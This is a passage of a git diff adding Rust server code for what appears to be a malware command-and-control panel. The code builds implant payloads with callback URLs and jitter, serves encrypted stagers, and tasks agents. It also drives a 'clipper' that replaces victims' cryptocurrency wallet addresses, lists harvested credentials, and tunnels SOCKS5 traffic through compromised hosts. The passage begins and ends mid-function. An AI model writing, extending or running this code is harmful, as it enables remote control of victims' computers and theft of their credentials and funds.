.into_response(); + } + + info!(agent_id = %agent_id, tags = ?body.tags, "Agent tags updated"); + StatusCode::NO_CONTENT.into_response() +} + +// ============================================================================ +// Helpers +// ============================================================================ + +/// Hash a password using Argon2id with a random salt. +/// Returns a PHC-formatted string (e.g. `$argon2id$v=19$m=...`). +/// Panics only if OsRng or Argon2 are fundamentally broken (unrecoverable). +pub fn hash_password(password: &str) -> String { + use argon2::Argon2; + use password_hash::{PasswordHasher, SaltString, rand_core::OsRng}; + + let salt = SaltString::generate(&mut OsRng); + let argon2 = Argon2::default(); + argon2 + .hash_password(password.as_bytes(), &salt) + .map(|hash| hash.to_string()) + .unwrap_or_else(|e| { + tracing::error!("Argon2 password hashing failed: {}", e); + // Return a sentinel that will never match any password verification, + // causing the operation to fail gracefully instead of crashing the server. + String::from("$argon2id$HASH_FAILED$") + }) +} + +/// Verify a password against an Argon2 PHC-formatted hash string. +fn verify_password(password: &str, hash: &str) -> bool { + use argon2::Argon2; + use password_hash::{PasswordHash, PasswordVerifier}; + + let parsed_hash = match PasswordHash::new(hash) { + Ok(h) => h, + Err(_) => return false, + }; + Argon2::default() + .verify_password(password.as_bytes(), &parsed_hash) + .is_ok() +} + +// ============================================================================ +// POST /api/payloads/build +// ============================================================================ + +pub async fn build_payload( + State(state): State>, + req: axum::extract::Request, +) -> impl IntoResponse { + let operator = req.extensions().get::() + .map(|c| c.sub.clone()) + .unwrap_or_else(|| "operator".to_string()); + + let body: crate::builder::BuildRequest = match axum::Json::from_request(req, &state).await { + Ok(axum::Json(b)) => b, + Err(e) => { + return ( + StatusCode::BAD_REQUEST, + Json(ApiError { error: format!("invalid request: {}", e) }), + ).into_response(); + } + }; + // Validate + if body.callback_urls.is_empty() { + return ( + StatusCode::BAD_REQUEST, + Json(ApiError { error: "at least one callback URL is required".to_string() }), + ).into_response(); + } + if body.callback_urls.len() > 4 { + return ( + StatusCode::BAD_REQUEST, + Json(ApiError { error: "maximum 4 callback URLs allowed".to_string() }), + ).into_response(); + } + if body.sleep_interval == 0 { + return ( + StatusCode::BAD_REQUEST, + Json(ApiError { error: "sleep_interval must be > 0".to_string() }), + ).into_response(); + } + if body.jitter_percent > 50 { + return ( + StatusCode::BAD_REQUEST, + Json(ApiError { error: "jitter_percent must be 0-50".to_string() }), + ).into_response(); + } + if body.user_agent.trim().is_empty() { + return ( + StatusCode::BAD_REQUEST, + Json(ApiError { error: "user_agent must not be empty".to_string() }), + ).into_response(); + } + if !["exe", "dll", "bat"].contains(&body.output_format.as_str()) { + return ( + StatusCode::BAD_REQUEST, + Json(ApiError { error: "output_format must be 'exe', 'dll', or 'bat'".to_string() }), + ).into_response(); + } + // Reject control characters in user-supplied strings that get interpolated into C source + if body.user_agent.chars().any(|c| c.is_control()) { + return ( + StatusCode::BAD_REQUEST, + Json(ApiError { error: "user_agent contains invalid characters".to_string() }), + ).into_response(); + } + for url in &body.callback_urls { + if url.chars().any(|c| c.is_control()) { + return ( + StatusCode::BAD_REQUEST, + Json(ApiError { error: "callback URL contains invalid characters".to_string() }), + ).into_response(); + } + if !url.starts_with("http://") && !url.starts_with("https://") { + return ( + StatusCode::BAD_REQUEST, + Json(ApiError { error: "callback URL must start with http:// or https://".to_string() }), + ).into_response(); + } + } + + let config_json = serde_json::to_string(&body).unwrap_or_default(); + + // Acquire build semaphore — only 1 build at a time to avoid CPU thrashing + let _permit = match state.build_semaphore.try_acquire() { + Ok(permit) => permit, + Err(_) => { + return ( + StatusCode::TOO_MANY_REQUESTS, + Json(ApiError { error: "A build is already in progress. Please wait for it to finish.".to_string() }), + ).into_response(); + } + }; + + let result = crate::builder::build_agent( + &body, + &state.server_keypair, + &state.config.agent_source_dir, + &state.config.payloads_dir, + &state.config.gcc_path, + ) + .await; + + match result { + Ok(build_result) => { + let record = queries::PayloadRecord { + payload_id: build_result.payload_id.clone(), + name: body.name.clone(), + config_json, + file_path: build_result.file_path.to_string_lossy().to_string(), + file_size: build_result.file_size as i64, + agent_pubkey: build_result.agent_pubkey_hex.clone(), + built_by: operator.clone(), + built_at: chrono::Utc::now().to_rfc3339(), + status: "ready".to_string(), + }; + + if let Err(e) = queries::insert_payload(&state.db, &record).await { + error!("Failed to insert payload record: {}", e); + return ( + StatusCode::INTERNAL_SERVER_ERROR, + Json(ApiError { error: "failed to save payload record".to_string() }), + ).into_response(); + } + + state.event_bus.emit(Event::new( + "payload_build", + "", + &operator, + &format!("Payload '{}' built successfully", body.name), + "success", + )); + + info!(payload_id = %record.payload_id, name = %body.name, "Payload built"); + + (StatusCode::CREATED, Json(record)).into_response() + } + Err(e) => { + // Log the full error (may contain GCC output) server-side only. + error!("Payload build failed: {}", e); + // Return a generic message to the client to avoid leaking internal + // build toolchain details (compiler paths, flags, source paths). + ( + StatusCode::INTERNAL_SERVER_ERROR, + Json(ApiError { error: "payload build failed".to_string() }), + ).into_response() + } + } +} + +// ============================================================================ +// GET /api/payloads +// ============================================================================ + +pub async fn list_payloads( + State(state): State>, + req: axum::extract::Request, +) -> impl IntoResponse { + let claims = match extract_claims(&req) { + Ok(c) => c, + Err(s) => return s.into_response(), + }; + match queries::get_payloads(&state.db).await { + Ok(payloads) => { + if claims.role == "admin" { + Json(payloads).into_response() + } else { + let filtered: Vec<_> = payloads + .into_iter() + .filter(|p| p.built_by == claims.sub) + .collect(); + Json(filtered).into_response() + } + } + Err(e) => { + error!("Failed to fetch payloads: {}", e); + ( + StatusCode::INTERNAL_SERVER_ERROR, + Json(ApiError { error: "database error".to_string() }), + ).into_response() + } + } +} + +// ============================================================================ +// GET /api/payloads/:id/download +// ============================================================================ + +pub async fn download_payload( + State(state): State>, + Path(payload_id): Path, + req: axum::extract::Request, +) -> impl IntoResponse { + let claims = match extract_claims(&req) { + Ok(c) => c, + Err(s) => return s.into_response(), + }; + let record = match queries::get_payload(&state.db, &payload_id).await { + Ok(Some(r)) => r, + Ok(None) => { + return ( + StatusCode::NOT_FOUND, + Json(ApiError { error: "payload not found".to_string() }), + ).into_response(); + } + Err(e) => { + error!("Failed to fetch payload: {}", e); + return ( + StatusCode::INTERNAL_SERVER_ERROR, + Json(ApiError { error: "database error".to_string() }), + ).into_response(); + } + }; + + // Ownership check: operators can only download their own payloads + if claims.role != "admin" && record.built_by != claims.sub { + return StatusCode::FORBIDDEN.into_response(); + } + + let file_path = std::path::Path::new(&record.file_path); + + // Prevent path traversal: file must be inside the payloads directory. + // Both canonicalize() calls must succeed — if either fails (e.g. file + // doesn't exist or payloads dir was removed), reject the request rather + // than comparing empty/default paths which could bypass the check. + let payloads_dir = &state.config.payloads_dir; + let canonical_path = match file_path.canonicalize() { + Ok(p) => p, + Err(_) => { + return ( + StatusCode::NOT_FOUND, + Json(ApiError { error: "payload file not found".to_string() }), + ).into_response(); + } + }; + let canonical_payloads = match payloads_dir.canonicalize() { + Ok(p) => p, + Err(_) => { + error!("Payloads directory {:?} does not exist or is inaccessible", payloads_dir); + return ( + StatusCode::INTERNAL_SERVER_ERROR, + Json(ApiError { error: "payloads directory unavailable".to_string() }), + ).into_response(); + } + }; + if !canonical_path.starts_with(&canonical_payloads) { + error!("Payload path {:?} is outside payloads directory, refusing to serve", file_path); + return ( + StatusCode::FORBIDDEN, + Json(ApiError { error: "payload path is outside allowed directory".to_string() }), + ).into_response(); + } + + match tokio::fs::read(file_path).await { + Ok(data) => { + let safe_name: String = record.name.chars() + .filter(|c| c.is_alphanumeric() || *c == '-' || *c == '_' || *c == '.') + .collect(); + let ext = if record.file_path.ends_with(".bat") { "bat" } else { "exe" }; + let filename = format!("{}.{}", if safe_name.is_empty() { "payload" } else { &safe_name }, ext); + ( + StatusCode::OK, + [ + (header::CONTENT_TYPE, "application/octet-stream".to_string()), + ( + header::CONTENT_DISPOSITION, + format!("attachment; filename=\"{}\"", filename), + ), + ], + data, + ).into_response() + } + Err(e) => { + error!("Failed to read payload file: {}", e); + ( + StatusCode::INTERNAL_SERVER_ERROR, + Json(ApiError { error: "failed to read payload file".to_string() }), + ).into_response() + } + } +} + +// ============================================================================ +// DELETE /api/payloads/:id +// ============================================================================ + +pub async fn delete_payload( + State(state): State>, + Path(payload_id): Path, + req: axum::extract::Request, +) -> impl IntoResponse { + let claims = match extract_claims(&req) { + Ok(c) => c, + Err(s) => return s.into_response(), + }; + let record = match queries::get_payload(&state.db, &payload_id).await { + Ok(Some(r)) => r, + Ok(None) => { + return ( + StatusCode::NOT_FOUND, + Json(ApiError { error: "payload not found".to_string() }), + ).into_response(); + } + Err(e) => { + error!("Failed to fetch payload: {}", e); + return ( + StatusCode::INTERNAL_SERVER_ERROR, + Json(ApiError { error: "database error".to_string() }), + ).into_response(); + } + }; + + // Ownership check: operators can only delete their own payloads + if claims.role != "admin" && record.built_by != claims.sub { + return StatusCode::FORBIDDEN.into_response(); + } + + // Delete the payload directory (contains the binary) + let file_path = std::path::Path::new(&record.file_path); + if let Some(parent) = file_path.parent() { + let payloads_dir = &state.config.payloads_dir; + // Canonicalize both paths to prevent traversal via symlinks or ".." + match (parent.canonicalize(), payloads_dir.canonicalize()) { + (Ok(canon_parent), Ok(canon_payloads)) if canon_parent.starts_with(&canon_payloads) => { + let _ = tokio::fs::remove_dir_all(&canon_parent).await; + } + (Ok(canon_parent), Ok(_)) => { + error!("Payload path {:?} is outside payloads directory, refusing to delete", canon_parent); + } + _ => { + error!("Cannot canonicalize payload path {:?} or payloads dir, refusing to delete", parent); + } + } + } + + if let Err(e) = queries::delete_payload(&state.db, &payload_id).await { + error!("Failed to delete payload record: {}", e); + return ( + StatusCode::INTERNAL_SERVER_ERROR, + Json(ApiError { error: "failed to delete payload".to_string() }), + ).into_response(); + } + + info!(payload_id = %payload_id, "Payload deleted"); + StatusCode::NO_CONTENT.into_response() +} + +// ============================================================================ +// GET /api/agents/:id/chat +// ============================================================================ + +pub async fn get_chat( + State(state): State>, + Path(agent_id): Path, + req: axum::extract::Request, +) -> impl IntoResponse { + let claims = match extract_claims(&req) { + Ok(c) => c, + Err(s) => return s.into_response(), + }; + if let Err(s) = check_agent_access(&state, &agent_id, &claims) { + return s.into_response(); + } + match queries::get_chat_messages(&state.db, &agent_id).await { + Ok(messages) => Json(messages).into_response(), + Err(e) => { + error!("Failed to fetch chat messages: {}", e); + ( + StatusCode::INTERNAL_SERVER_ERROR, + Json(ApiError { error: "database error".to_string() }), + ) + .into_response() + } + } +} + +// ============================================================================ +// POST /api/agents/:id/chat +// ============================================================================ + +#[derive(Debug, Deserialize)] +pub struct ChatRequest { + pub message: String, +} + +pub async fn send_chat( + State(state): State>, + Path(agent_id): Path, + req: axum::extract::Request, +) -> impl IntoResponse { + let claims = match extract_claims(&req) { + Ok(c) => c, + Err(s) => return s.into_response(), + }; + if let Err(s) = check_agent_access(&state, &agent_id, &claims) { + return s.into_response(); + } + let operator = claims.sub.clone(); + + let body: ChatRequest = match axum::Json::from_request(req, &state).await { + Ok(axum::Json(b)) => b, + Err(e) => { + return ( + StatusCode::BAD_REQUEST, + Json(ApiError { + error: format!("invalid request: {}", e), + }), + ) + .into_response(); + } + }; + + if body.message.trim().is_empty() { + return ( + StatusCode::BAD_REQUEST, + Json(ApiError { + error: "message cannot be empty".to_string(), + }), + ) + .into_response(); + } + + // Check agent exists + if state.agents.get_agent_info(&agent_id).is_none() { + return ( + StatusCode::NOT_FOUND, + Json(ApiError { + error: "agent not found".to_string(), + }), + ) + .into_response(); + } + + // Create a task with command="chat" + let task = Task { + task_id: uuid::Uuid::new_v4().to_string(), + command: "chat".to_string(), + args: vec![body.message], + data: vec![], + timeout: 300, // 5 min timeout for user response + }; + + if let Err(e) = queries::insert_task(&state.db, &agent_id, &task, &operator).await { + error!("Failed to persist chat task: {}", e); + return ( + StatusCode::INTERNAL_SERVER_ERROR, + Json(ApiError { + error: "failed to store chat message".to_string(), + }), + ) + .into_response(); + } + + crate::tasks::enqueue_task(&state.agents, &state.event_bus, &agent_id, task.clone(), &operator); + + info!(agent_id = %agent_id, task_id = %task.task_id, "Chat message sent"); + + ( + StatusCode::CREATED, + Json(serde_json::json!({ "task_id": task.task_id })), + ) + .into_response() +} + +// ============================================================================ +// POST /api/agents/:id/clipper +// ============================================================================ + +#[derive(Debug, Deserialize)] +pub struct ClipperRequest { + pub action: String, // "start" | "stop" | "config" + #[serde(default)] + pub wallets: Option, // { "btc": "addr", "eth": "addr", ... } +} + +pub async fn clipper_action( + State(state): State>, + Path(agent_id): Path, + req: axum::extract::Request, +) -> impl IntoResponse { + let claims = match extract_claims(&req) { + Ok(c) => c, + Err(s) => return s.into_response(), + }; + if let Err(s) = check_agent_access(&state, &agent_id, &claims) { + return s.into_response(); + } + let operator = claims.sub.clone(); + + let body: ClipperRequest = match axum::Json::from_request(req, &state).await { + Ok(axum::Json(b)) => b, + Err(e) => { + return ( + StatusCode::BAD_REQUEST, + Json(ApiError { error: format!("invalid request: {}", e) }), + ).into_response(); + } + }; + + if state.agents.get_agent_info(&agent_id).is_none() { + return ( + StatusCode::NOT_FOUND, + Json(ApiError { error: "agent not found".to_string() }), + ).into_response(); + } + + let mut task_ids = Vec::new(); + + // If action is "start" and wallets are provided, send config first + if body.action == "start" { + if let Some(ref wallets) = body.wallets { + let config_json = serde_json::to_string(wallets).unwrap_or_default(); + let config_task = Task { + task_id: uuid::Uuid::new_v4().to_string(), + command: "clipper_config".to_string(), + args: vec![config_json], + data: vec![], + timeout: 30, + }; + if let Err(e) = queries::insert_task(&state.db, &agent_id, &config_task, &operator).await { + error!("Failed to persist clipper config task: {}", e); + return ( + StatusCode::INTERNAL_SERVER_ERROR, + Json(ApiError { error: "failed to store task".to_string() }), + ).into_response(); + } + crate::tasks::enqueue_task(&state.agents, &state.event_bus, &agent_id, config_task.clone(), &operator); + task_ids.push(config_task.task_id); + } + } + + // Map action to command + let command = match body.action.as_str() { + "start" => "clipper_start", + "stop" => "clipper_stop", + "config" => { + let config_json = body.wallets + .as_ref() + .map(|w| serde_json::to_string(w).unwrap_or_default()) + .unwrap_or_default(); + let task = Task { + task_id: uuid::Uuid::new_v4().to_string(), + command: "clipper_config".to_string(), + args: vec![config_json], + data: vec![], + timeout: 30, + }; + if let Err(e) = queries::insert_task(&state.db, &agent_id, &task, &operator).await { + error!("Failed to persist clipper config task: {}", e); + return ( + StatusCode::INTERNAL_SERVER_ERROR, + Json(ApiError { error: "failed to store task".to_string() }), + ).into_response(); + } + crate::tasks::enqueue_task(&state.agents, &state.event_bus, &agent_id, task.clone(), &operator); + info!(agent_id = %agent_id, "Clipper config task queued"); + return ( + StatusCode::CREATED, + Json(serde_json::json!({ "task_id": task.task_id })), + ).into_response(); + } + _ => { + return ( + StatusCode::BAD_REQUEST, + Json(ApiError { error: "action must be 'start', 'stop', or 'config'".to_string() }), + ).into_response(); + } + }; + + let task = Task { + task_id: uuid::Uuid::new_v4().to_string(), + command: command.to_string(), + args: vec![], + data: vec![], + timeout: 30, + }; + + if let Err(e) = queries::insert_task(&state.db, &agent_id, &task, &operator).await { + error!("Failed to persist clipper task: {}", e); + return ( + StatusCode::INTERNAL_SERVER_ERROR, + Json(ApiError { error: "failed to store task".to_string() }), + ).into_response(); + } + + crate::tasks::enqueue_task(&state.agents, &state.event_bus, &agent_id, task.clone(), &operator); + task_ids.push(task.task_id.clone()); + + info!(agent_id = %agent_id, action = %body.action, "Clipper action queued"); + + ( + StatusCode::CREATED, + Json(serde_json::json!({ "task_id": task.task_id, "all_task_ids": task_ids })), + ).into_response() +} + +// ============================================================================ +// GET /api/server-info +// ============================================================================ + +pub async fn server_info( + State(state): State>, +) -> impl IntoResponse { + let cfg = &state.config; + // Extract port from listener_bind (e.g. "0.0.0.0:8443" → "8443") + let listener_port = cfg.listener_bind + .rsplit(':') + .next() + .unwrap_or("8443"); + let default_callback = format!("https://{}:{}", cfg.listener_host, listener_port); + + Json(serde_json::json!({ + "listener_host": cfg.listener_host, + "listener_port": listener_port, + "default_callback_url": default_callback, + })) +} + +// ============================================================================ +// GET /api/payloads/:id/stage — serve encrypted payload for stager download +// ============================================================================ + +pub async fn stage_payload( + State(state): State>, + Path(payload_id): Path, +) -> impl IntoResponse { + let record = match queries::get_payload(&state.db, &payload_id).await { + Ok(Some(r)) => r, + _ => return StatusCode::NOT_FOUND.into_response(), + }; + + // Look for encrypted .bin file alongside the .exe + let exe_path = std::path::Path::new(&record.file_path); + let enc_path = exe_path.with_extension("bin"); + + // Path traversal check + let payloads_dir = &state.config.payloads_dir; + let canonical_enc = match enc_path.canonicalize() { + Ok(p) => p, + Err(_) => return StatusCode::NOT_FOUND.into_response(), + }; + let canonical_payloads = match payloads_dir.canonicalize() { + Ok(p) => p, + Err(_) => return StatusCode::NOT_FOUND.into_response(), + }; + if !canonical_enc.starts_with(&canonical_payloads) { + return StatusCode::FORBIDDEN.into_response(); + } + + match tokio::fs::read(&enc_path).await { + Ok(data) => { + ( + StatusCode::OK, + [(header::CONTENT_TYPE, "application/octet-stream".to_string())], + data, + ).into_response() + } + Err(_) => StatusCode::NOT_FOUND.into_response(), + } +} + +// ============================================================================ +// Credentials history +// ============================================================================ + +#[derive(Debug, Serialize)] +pub struct CredentialGrab { + pub task_id: String, + pub agent_id: String, + pub hostname: String, + pub username: String, + pub os_version: String, + pub output: String, + pub received_at: String, +} + +pub async fn list_credentials( + State(state): State>, + req: axum::extract::Request, +) -> impl IntoResponse { + let claims = match extract_claims(&req) { + Ok(c) => c, + Err(s) => return s.into_response(), + }; + // Admins see all credentials; operators see only their own agents' grabs + let operator_filter = if claims.role == "admin" { None } else { Some(claims.sub.as_str()) }; + match queries::get_credential_results(&state.db, operator_filter).await { + Ok(rows) => { + let grabs: Vec = rows + .into_iter() + .map(|(task_id, agent_id, hostname, username, os_version, output, received_at)| { + CredentialGrab { + task_id, + agent_id, + hostname, + username, + os_version, + output, + received_at, + } + }) + .collect(); + (StatusCode::OK, Json(grabs)).into_response() + } + Err(e) => { + error!("Failed to fetch credentials: {}", e); + ( + StatusCode::INTERNAL_SERVER_ERROR, + Json(ApiError { + error: "Failed to fetch credentials".into(), + }), + ) + .into_response() + } + } +} diff --git a/src/api/socks5.rs b/src/api/socks5.rs new file mode 100755 index 0000000..5b7f6bd --- /dev/null +++ b/src/api/socks5.rs @@ -0,0 +1,615 @@ +use axum::{ + extract::{ + ws::{Message, WebSocket, WebSocketUpgrade}, + FromRequest, Path, Query, State, + }, + http::StatusCode, + response::IntoResponse, + Json, +}; +use bytes::Bytes; +use serde::{Deserialize, Serialize}; +use std::sync::atomic::Ordering; +use std::sync::Arc; +use tokio::io::{AsyncReadExt, AsyncWriteExt}; +use tokio::net::TcpListener; +use tokio::sync::{mpsc, oneshot}; +use tracing::{error, info, warn}; + +use crate::api::auth; +use crate::protocol::Task; +use crate::socks5::*; +use crate::state::AppState; + +// ── DTOs ───────────────────────────────────────────────────────────── + +#[derive(Serialize)] +struct Socks5StartResponse { + token: String, + port: u16, + bind: String, +} + +#[derive(Serialize)] +struct Socks5StatusResponse { + active: bool, + port: u16, + channels: usize, + bytes_in: u64, + bytes_out: u64, +} + +#[derive(Deserialize)] +pub struct AgentWsQuery { + token: String, +} + +// ── Helpers ────────────────────────────────────────────────────────── + +fn check_auth_and_access( + state: &AppState, + agent_id: &str, + req: &axum::extract::Request, +) -> Result { + let claims = req + .extensions() + .get::() + .cloned() + .ok_or_else(|| StatusCode::UNAUTHORIZED.into_response())?; + crate::api::routes::check_agent_access(state, agent_id, &claims) + .map_err(|s| s.into_response())?; + Ok(claims) +} + +fn verify_agent_exists(state: &AppState, agent_id: &str) -> Result<(), axum::response::Response> { + if state.agents.get_agent_info(agent_id).is_none() { + return Err(( + StatusCode::NOT_FOUND, + Json(serde_json::json!({"error": "agent not found"})), + ) + .into_response()); + } + Ok(()) +} + +fn callback_url(state: &AppState) -> String { + let port = state + .config + .listener_bind + .rsplit_once(':') + .and_then(|(_, p)| p.parse::().ok()) + .unwrap_or(8443); + format!("https://{}:{}", state.config.listener_host, port) +} + +fn random_port() -> u16 { + 10000 + (rand::random::() % 50000) +} + +// ============================================================================ +// POST /api/agents/:id/socks5/start +// ============================================================================ + +pub async fn start_socks5( + State(state): State>, + Path(agent_id): Path, + req: axum::extract::Request, +) -> impl IntoResponse { + let _ = match check_auth_and_access(&state, &agent_id, &req) { + Ok(c) => c, + Err(r) => return r, + }; + if let Err(r) = verify_agent_exists(&state, &agent_id) { + return r; + } + + // Stop existing session if any + if state.socks5_sessions.get_by_agent(&agent_id).is_some() { + state.socks5_sessions.stop_session(&agent_id).await; + } + + // Bind a TCP port for the SOCKS5 listener + let mut listen_port = random_port(); + let listener = { + let mut attempts = 0; + loop { + match TcpListener::bind(format!("127.0.0.1:{}", listen_port)).await { + Ok(l) => break l, + Err(_) if attempts < 10 => { + listen_port = random_port(); + attempts += 1; + } + Err(e) => { + return ( + StatusCode::INTERNAL_SERVER_ERROR, + Json(serde_json::json!({"error": format!("failed to bind port: {}", e)})), + ) + .into_response(); + } + } + } + }; + + // Create session (agent_rx is stored inside for the WS handler to take) + let (token, session) = match state.socks5_sessions.create_session(&agent_id, listen_port) { + Some(v) => v, + None => { + return ( + StatusCode::SERVICE_UNAVAILABLE, + Json(serde_json::json!({"error": "too many active SOCKS5 sessions"})), + ) + .into_response(); + } + }; + + // Spawn the TCP listener task + let session_clone = session.clone(); + let handle = tokio::spawn(socks5_tcp_accept_loop(listener, session_clone)); + *session.listener_handle.lock().await = Some(handle); + + // Spawn keepalive task + let session_ka = session.clone(); + let ka_handle = tokio::spawn(async move { + let mut interval = tokio::time::interval(std::time::Duration::from_secs(30)); + loop { + interval.tick().await; + if !session_ka.active.load(Ordering::Relaxed) { + break; + } + let _ = session_ka.agent_tx.send(build_ping()).await; + } + }); + *session.keepalive_handle.lock().await = Some(ka_handle); + + // Queue socks5_start task to agent + let task = Task { + task_id: uuid::Uuid::new_v4().to_string(), + command: "socks5_start".to_string(), + args: vec![token.clone(), callback_url(&state)], + data: Vec::new(), + timeout: 0, + }; + state.agents.queue_task(&agent_id, task); + + info!(agent_id = %agent_id, port = listen_port, "SOCKS5 session started"); + + Json(Socks5StartResponse { + token, + port: listen_port, + bind: "127.0.0.1".to_string(), + }) + .into_response() +} + +// ============================================================================ +// POST /api/agents/:id/socks5/stop +// ============================================================================ + +pub async fn stop_socks5( + State(state): State>, + Path(agent_id): Path, + req: axum::extract::Request, +) -> impl IntoResponse { + if let Err(r) = check_auth_and_access(&state, &agent_id, &req) { + return r; + } + + state.socks5_sessions.stop_session(&agent_id).await; + + let task = Task { + task_id: uuid::Uuid::new_v4().to_string(), + command: "socks5_stop".to_string(), + args: Vec::new(), + data: Vec::new(), + timeout: 0, + }; + state.agents.queue_task(&agent_id, task); + + info!(agent_id = %agent_id, "SOCKS5 session stopped"); + StatusCode::NO_CONTENT.into_response() +} + +// ============================================================================ +// GET /api/agents/:id/socks5/status +// ============================================================================ + +pub async fn socks5_status( + State(state): State>, + Path(agent_id): Path, + req: axum::extract::Request, +) -> impl IntoResponse { + if let Err(r) = check_auth_and_access(&state, &agent_id, &req) { + return r; + } + + let resp = match state.socks5_sessions.get_by_agent(&agent_id) { + Some(session) if session.active.load(Ordering::Relaxed) => Socks5StatusResponse { + active: true, + port: session.listen_port, + channels: session.channels.len(), + bytes_in: session.bytes_in.load(Ordering::Relaxed), + bytes_out: session.bytes_out.load(Ordering::Relaxed), + }, + _ => Socks5StatusResponse { + active: false, + port: 0, + channels: 0, + bytes_in: 0, + bytes_out: 0, + }, + }; + + Json(resp).into_response() +} + +// ============================================================================ +// GET /api/socks5/ws — Agent-side WebSocket for SOCKS5 tunnel +// ============================================================================ + +pub async fn agent_socks5_ws( + State(state): State>, + Query(query): Query, + req: axum::extract::Request, +) -> impl IntoResponse { + let session = match state.socks5_sessions.get_by_token(&query.token) { + Some(s) => s, + None => return StatusCode::UNAUTHORIZED.into_response(), + }; + + if !session.active.load(Ordering::Relaxed) { + return StatusCode::GONE.into_response(); + } + + let ws: WebSocketUpgrade = + match axum::extract::ws::WebSocketUpgrade::from_request(req, &state).await { + Ok(ws) => ws, + Err(e) => { + warn!("SOCKS5 agent WS upgrade failed: {}", e); + return StatusCode::BAD_REQUEST.into_response(); + } + }; + + let token = query.token.clone(); + ws.max_message_size(128 * 1024) + .on_upgrade(move |socket| handle_agent_socks5_ws(socket, token, state)) + .into_response() +} + +async fn handle_agent_socks5_ws( + mut socket: WebSocket, + token: String, + state: Arc, +) { + info!(token = %&token[..8], "SOCKS5 agent WebSocket connected"); + + let session = match state.socks5_sessions.get_by_token(&token) { + Some(s) => s, + None => return, + }; + + // Take the agent_rx from the session (one-time — only one WS handler per session) + let mut agent_rx = match session.agent_rx.lock().await.take() { + Some(rx) => rx, + None => { + warn!("SOCKS5 agent WS: agent_rx already taken"); + let _ = socket.close().await; + return; + } + }; + + loop { + tokio::select! { + // Forward messages from TCP accept loop → agent WebSocket + msg = agent_rx.recv() => { + match msg { + Some(data) => { + session.bytes_out.fetch_add(data.len() as u64, Ordering::Relaxed); + if socket.send(Message::Binary(data.to_vec().into())).await.is_err() { + warn!(token = %&token[..8], "SOCKS5 agent WS: send failed"); + break; + } + } + None => { + info!(token = %&token[..8], "SOCKS5 agent WS: agent_tx closed"); + break; + } + } + } + + // Receive messages from agent → route to appropriate channel + ws_msg = socket.recv() => { + match ws_msg { + Some(Ok(Message::Binary(data))) => { + let data: &[u8] = &data; + session.bytes_in.fetch_add(data.len() as u64, Ordering::Relaxed); + handle_agent_message(&session, data).await; + } + Some(Ok(Message::Close(_))) | None => { + info!(token = %&token[..8], "SOCKS5 agent WS disconnected"); + break; + } + Some(Ok(Message::Ping(data))) => { + if socket.send(Message::Pong(data)).await.is_err() { + break; + } + } + Some(Ok(_)) => {} + Some(Err(e)) => { + warn!(token = %&token[..8], "SOCKS5 agent WS error: {}", e); + break; + } + } + } + } + + if !session.active.load(Ordering::Relaxed) { + info!(token = %&token[..8], "SOCKS5 session deactivated, closing WS"); + break; + } + } + + session.close_all_channels(); + let _ = socket.close().await; +} + +/// Process a binary message from the agent. +async fn handle_agent_message(session: &Socks5Session, data: &[u8]) { + let (msg_type, channel_id, payload) = match parse_message(data) { + Some(v) => v, + None => return, + }; + + match msg_type { + MSG_OPEN_OK => { + if let Some(mut ch) = session.channels.get_mut(&channel_id) { + if let Some(tx) = ch.open_result_tx.take() { + let _ = tx.send(Ok(())); + } + } + } + MSG_OPEN_FAIL => { + let reason = if payload.len() > 1 { + let reason_len = payload[0] as usize; + if payload.len() >= 1 + reason_len { + String::from_utf8_lossy(&payload[1..1 + reason_len]).to_string() + } else { + "unknown".to_string() + } + } else { + "unknown".to_string() + }; + if let Some(mut ch) = session.channels.get_mut(&channel_id) { + if let Some(tx) = ch.open_result_tx.take() { + let _ = tx.send(Err(reason)); + } + } + session.close_channel(channel_id); + } + MSG_DATA => { + if payload.len() < 2 { + return; + } + let data_len = u16::from_le_bytes([payload[0], payload[1]]) as usize; + if payload.len() < 2 + data_len { + return; + } + let chunk = Bytes::copy_from_slice(&payload[2..2 + data_len]); + if let Some(ch) = session.channels.get(&channel_id) { + if ch.client_tx.is_closed() { + drop(ch); + session.close_channel(channel_id); + } else if ch.client_tx.try_send(chunk).is_err() { + warn!("SOCKS5 channel {} buffer full, closing", channel_id); + drop(ch); + session.close_channel(channel_id); + } + } + } + MSG_CLOSE => { + session.close_channel(channel_id); + } + MSG_PONG => {} + _ => { + warn!("SOCKS5: unknown message type 0x{:02x}", msg_type); + } + } +} + +// ============================================================================ +// SOCKS5 TCP Accept Loop +// ============================================================================ + +async fn socks5_tcp_accept_loop(listener: TcpListener, session: Arc) { + info!(port = session.listen_port, "SOCKS5 TCP listener started"); + + loop { + if !session.active.load(Ordering::Relaxed) { + break; + } + + let (stream, addr) = match listener.accept().await { + Ok(v) => v, + Err(e) => { + if session.active.load(Ordering::Relaxed) { + error!("SOCKS5 accept error: {}", e); + } + break; + } + }; + + info!(addr = %addr, "SOCKS5 client connected"); + + let session = session.clone(); + tokio::spawn(async move { + if let Err(e) = handle_socks5_client(stream, &session).await { + warn!(addr = %addr, "SOCKS5 client error: {}", e); + } + }); + } + + info!(port = session.listen_port, "SOCKS5 TCP listener stopped"); +} + +/// Handle a single SOCKS5 client: greeting → CONNECT → relay. +async fn handle_socks5_client( + mut stream: tokio::net::TcpStream, + session: &Socks5Session, +) -> Result<(), Box> { + // ── SOCKS5 Greeting (with timeout to prevent Slowloris) ───────── + let mut buf = [0u8; 258]; + let handshake = async { + stream.read_exact(&mut buf[..2]).await + }; + tokio::time::timeout(std::time::Duration::from_secs(15), handshake) + .await + .map_err(|_| -> Box { "handshake timeout".into() })??; + if buf[0] != 0x05 { + return Err("not SOCKS5".into()); + } + let num_methods = buf[1] as usize; + if num_methods > 0 { + stream.read_exact(&mut buf[..num_methods]).await?; + } + // No-auth reply + stream.write_all(&[0x05, 0x00]).await?; + + // ── SOCKS5 CONNECT Request ─────────────────────────────────────── + stream.read_exact(&mut buf[..4]).await?; + if buf[0] != 0x05 || buf[1] != 0x01 { + stream.write_all(&[0x05, 0x07, 0x00, 0x01, 0, 0, 0, 0, 0, 0]).await?; + return Err("only CONNECT supported".into()); + } + + let addr_type = buf[3]; + let (host, port) = match addr_type { + 0x01 => { + // IPv4 + stream.read_exact(&mut buf[..6]).await?; + let ip = format!("{}.{}.{}.{}", buf[0], buf[1], buf[2], buf[3]); + let port = u16::from_be_bytes([buf[4], buf[5]]); + (ip, port) + } + 0x03 => { + // Domain name + stream.read_exact(&mut buf[..1]).await?; + let domain_len = buf[0] as usize; + stream.read_exact(&mut buf[..domain_len + 2]).await?; + let domain = String::from_utf8_lossy(&buf[..domain_len]).to_string(); + let port = 